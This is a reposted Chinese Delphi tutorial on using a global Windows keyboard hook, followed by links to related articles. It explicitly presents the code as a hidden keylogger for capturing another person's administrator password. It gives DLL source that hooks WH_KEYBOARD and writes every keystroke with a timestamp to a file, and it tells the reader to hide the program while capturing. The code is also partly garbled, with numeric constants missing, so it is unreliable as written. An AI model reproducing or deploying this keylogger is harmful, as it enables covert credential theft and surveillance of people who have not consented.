知识大全 Delphi编程使用HOOK监视Windows
Posted 消息
篇首语:天行健,君子以自强不息。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 Delphi编程使用HOOK监视Windows相关的知识,希望对你有一定的参考价值。
Delphi编程使用HOOK监视Windows 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!
每个程序都有自己的生存空间 在Windows系统中你可以在任何时候让你的程序执行一些操作 还可以触发消息 触发的消息分为三种 一是操作你程序的界面 onClick onMouseMove等等 另外一个可以使用Windows的消息机制来捕获一些系统消息 但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了 虽然还有其他方法 但不得不承认 HOOK是一个比较简单解决问题的途径 下面就来举个例子(使用Delphi 调试通过) 如果你需要访问某个人的机器 那在运行\\\\SB之后那个人就会在你机器上敲入他的adminsitrator密码 当然 你也可以使用黑客工具来得到他的密码 但是 为什么不自己尝试一下写个程序记录所有的键盘操作呢? 首先需要申明一点 Hook不同于一般的应用程序 需要作为一个全局DLL出现 否则无法在你程序不激活的状态捕获其他信息的 (当然你可以用Windows消息 这个问题不在这里讨论) 写个DLL定义一下函数 function setkeyhook:bool;export; function endkeyhook:bool;export; procedure keyhookexit;far; procedure SetMainHandle(Handle: HWND); export;forward; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; procedure EntryPointProc(Reason: Integer); const hMapObject: THandle = ; begin case reason of DLL_PROCESS_ATTACH: begin hMapObject := CreateFileMapping($FFFFFFFF nil PAGE_READWRITE SizeOf(THookRec) _CBT ); rHookRec := MapViewOfFile(hMapObject FILE_MAP_WRITE ); end; DLL_PROCESS_DETACH: begin try UnMapViewOfFile(rHookRec); CloseHandle(hMapObject); except end; end; end; end; procedure keyhookexit;far; begin if hNexthookproc<> then endkeyhook; exitproc:=procsaveexit; end; function endkeyhook:bool;export; begin if hNexthookproc<> then begin unhookwindowshookex(hNexthookproc); hNexthookproc:= ; messagebeep( ); end; result:=hNexthookproc= ; MainHandle:= ; end; function Setkeyhook:bool;export; begin hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD keyboardhookhandler HInstance ); result:=hNexthookproc<> ; end; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; var s:Tstringlist; begin if icode< then begin result:=CallNextHookEX(hNexthookproc icode wparam lparam); exit; end; if lparam< then begin exit; end; s:=TStringlist Create; if FileExists(afilename) then s LoadFromFile(afilename); //将敲打的键盘字符保存到文件中 s Add(formatdatetime( YYYYMMDD hh:nn:ss:zzz: now) + char(wParam) ); s SaveToFile(afilename); s Free; result:= ; end; Dll的Project文件中定义如下 exports setkeyhook index endkeyhook index SetMainHandle index ; begin hNexthookproc:= ; procsaveexit:=exitproc; DllProc := @EntryPointProc; EntryPointProc(DLL_PROCESS_ATTACH); end 这样DLL就定义好了 接下来就是画个界面 function setkeyhook:bool;external keyspy dll ; function endkeyhook:bool;external keyspy dll ; procedure SetMainHandle(Handle: HWND); external keyspy dll ; //开始捕获键盘 SetMainHandle(handle); setkeyhook //中止捕获键盘 endkeyhook 然后吧你程序隐蔽起来 启动捕获键盘 在中止捕获之前 所有键盘操作都会被记录到你所定义的filename这个文件名中去 注 这些代码是临时写的 仅是为了说明如何写个hook程序 另外Hook的功能不仅仅是简单使用 这就需要靠大家灵活运用了 可以跟很多windows API来配合 通过很多技巧作出让人意想不到的效果 cha138/Article/program/Delphi/201311/24671相关参考
知识大全 利用Delphi全面控制Windows任务栏[2]
利用Delphi全面控制Windows任务栏[2] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&
知识大全 利用Delphi全面控制Windows任务栏[1]
利用Delphi全面控制Windows任务栏[1] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&
用Delphi实现Windows文件夹管理树 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 摘要
Windows中不规则窗体的编程实现 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! Window
知识大全 通过DELPHI小程序在WINDOWS下更好地使用DOS批处理
通过DELPHI小程序在WINDOWS下更好地使用DOS批处理 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来
C#的Windows编程中多语言的实现 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 实现多语言
RawSocket编程实现网络封包监视 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 谈起soc
DELPHI基础教程:Delphi拖放编程[2] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!
DELPHI基础教程:Delphi拖放编程[1] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!
DELPHI基础教程:Delphi拖放编程[4] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!